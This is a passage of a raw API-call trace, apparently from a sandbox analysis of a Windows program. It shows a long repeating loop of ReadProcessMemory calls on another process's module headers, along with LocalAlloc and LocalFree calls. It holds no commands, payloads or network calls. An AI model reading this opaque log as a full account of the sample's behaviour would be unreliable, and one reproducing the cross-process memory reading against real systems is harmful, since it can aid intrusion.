lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.364] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.364] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdf800e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.365] LocalFree (hMem=0x16bb80) returned 0x0 [0193.365] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.365] LocalFree (hMem=0x16bb60) returned 0x0 [0193.365] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x148980, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.365] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.365] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x148958, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.365] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd560000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.365] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd5600f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.365] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.365] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd5600f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.365] LocalFree (hMem=0x16bb80) returned 0x0 [0193.365] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.365] LocalFree (hMem=0x16bb60) returned 0x0 [0193.365] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149a70, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.365] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.365] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x148b18, lpBuffer=0x18df70, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.366] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd540000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.366] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd5400e8, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.366] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.366] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd5400e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.366] LocalFree (hMem=0x16bb60) returned 0x0 [0193.366] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.366] LocalFree (hMem=0x18df70) returned 0x0 [0193.366] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149b90, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.366] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.366] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x148ac8, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.366] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefda50000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.366] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefda500e0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.366] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.366] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefda500e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.367] LocalFree (hMem=0x16bb80) returned 0x0 [0193.367] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.367] LocalFree (hMem=0x16bb60) returned 0x0 [0193.367] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149c80, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.367] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.367] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x148bb8, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.367] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4d0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.367] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.367] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4d00f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.367] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.367] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4d00f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.367] LocalFree (hMem=0x16bb80) returned 0x0 [0193.367] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.367] LocalFree (hMem=0x16bb60) returned 0x0 [0193.367] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149d70, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.367] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb60 [0193.367] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x148b68, lpBuffer=0x16bb60, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.368] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffc70000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.368] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.368] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffc700f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.368] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.368] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffc700f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.368] LocalFree (hMem=0x16bb80) returned 0x0 [0193.368] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.368] LocalFree (hMem=0x16bb60) returned 0x0 [0193.368] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149e60, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.368] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb60 [0193.368] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x148c08, lpBuffer=0x16bb60, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.368] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefddd0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.368] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.368] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefddd00f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.369] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.369] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefddd00f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.369] LocalFree (hMem=0x16bb80) returned 0x0 [0193.369] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.369] LocalFree (hMem=0x16bb60) returned 0x0 [0193.369] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149f50, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.369] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.369] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149068, lpBuffer=0x18df70, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.369] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4c0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.369] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.369] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4c00e8, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.369] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.369] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4c00e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.370] LocalFree (hMem=0x16bb60) returned 0x0 [0193.370] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.370] LocalFree (hMem=0x18df70) returned 0x0 [0193.370] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14a040, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.370] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb60 [0193.370] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1490b8, lpBuffer=0x16bb60, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.370] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd490000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.370] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.370] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4900f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.370] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.370] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4900f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.370] LocalFree (hMem=0x16bb80) returned 0x0 [0193.370] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.370] LocalFree (hMem=0x16bb60) returned 0x0 [0193.370] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14a130, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.370] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.370] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x148e38, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.371] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd440000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.371] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.371] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4400f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.371] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.371] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4400f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.372] LocalFree (hMem=0x16bb80) returned 0x0 [0193.372] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.372] LocalFree (hMem=0x16bb60) returned 0x0 [0193.372] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14a220, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.372] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.372] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x148cf8, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.372] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd410000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.372] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.372] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4100f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.372] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.372] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd4100f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.372] LocalFree (hMem=0x16bb80) returned 0x0 [0193.372] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.372] LocalFree (hMem=0x16bb60) returned 0x0 [0193.372] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14a310, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.372] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.372] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x148d98, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.372] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x75780000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.373] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.373] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x757800b8, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.373] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.373] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x757800b8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.373] LocalFree (hMem=0x16bb80) returned 0x0 [0193.373] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.373] LocalFree (hMem=0x16bb60) returned 0x0 [0193.373] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14a400, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.373] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.373] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149018, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.373] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd3b0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.373] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.373] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd3b00e8, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.373] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.373] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd3b00e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.374] LocalFree (hMem=0x16bb80) returned 0x0 [0193.374] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.374] LocalFree (hMem=0x16bb60) returned 0x0 [0193.374] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14a4f0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.374] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.374] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1492e8, lpBuffer=0x18df70, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.374] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd380000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.374] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.374] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd3800e8, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.374] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.374] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd3800e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.374] LocalFree (hMem=0x16bb60) returned 0x0 [0193.374] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.374] LocalFree (hMem=0x18df70) returned 0x0 [0193.374] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14a5e0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.374] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.374] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149338, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.375] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd840000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.375] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.375] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd8400f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.375] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.375] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd8400f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.375] LocalFree (hMem=0x16bb80) returned 0x0 [0193.375] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.375] LocalFree (hMem=0x16bb60) returned 0x0 [0193.375] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14a6d0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.375] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x18df70 [0193.375] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149388, lpBuffer=0x18df70, nSize=0x1c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.375] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd8a0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.375] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.375] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd8a00f0, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.375] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.375] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd8a00f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.376] LocalFree (hMem=0x16bb60) returned 0x0 [0193.376] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.376] LocalFree (hMem=0x18df70) returned 0x0 [0193.376] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14a7c0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.376] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.376] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1494c8, lpBuffer=0x18df70, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.376] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2c0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.376] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.376] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2c00f0, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.376] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.376] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2c00f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.376] LocalFree (hMem=0x16bb60) returned 0x0 [0193.376] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.376] LocalFree (hMem=0x18df70) returned 0x0 [0193.376] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14a8b0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.376] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.377] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1495b8, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.377] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2a0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.377] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.377] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2a00e8, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.377] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.377] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2a00e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.377] LocalFree (hMem=0x16bb80) returned 0x0 [0193.377] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.377] LocalFree (hMem=0x16bb60) returned 0x0 [0193.377] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x14a9a0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.377] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.377] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x149608, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.377] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdd80000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.377] LocalAlloc 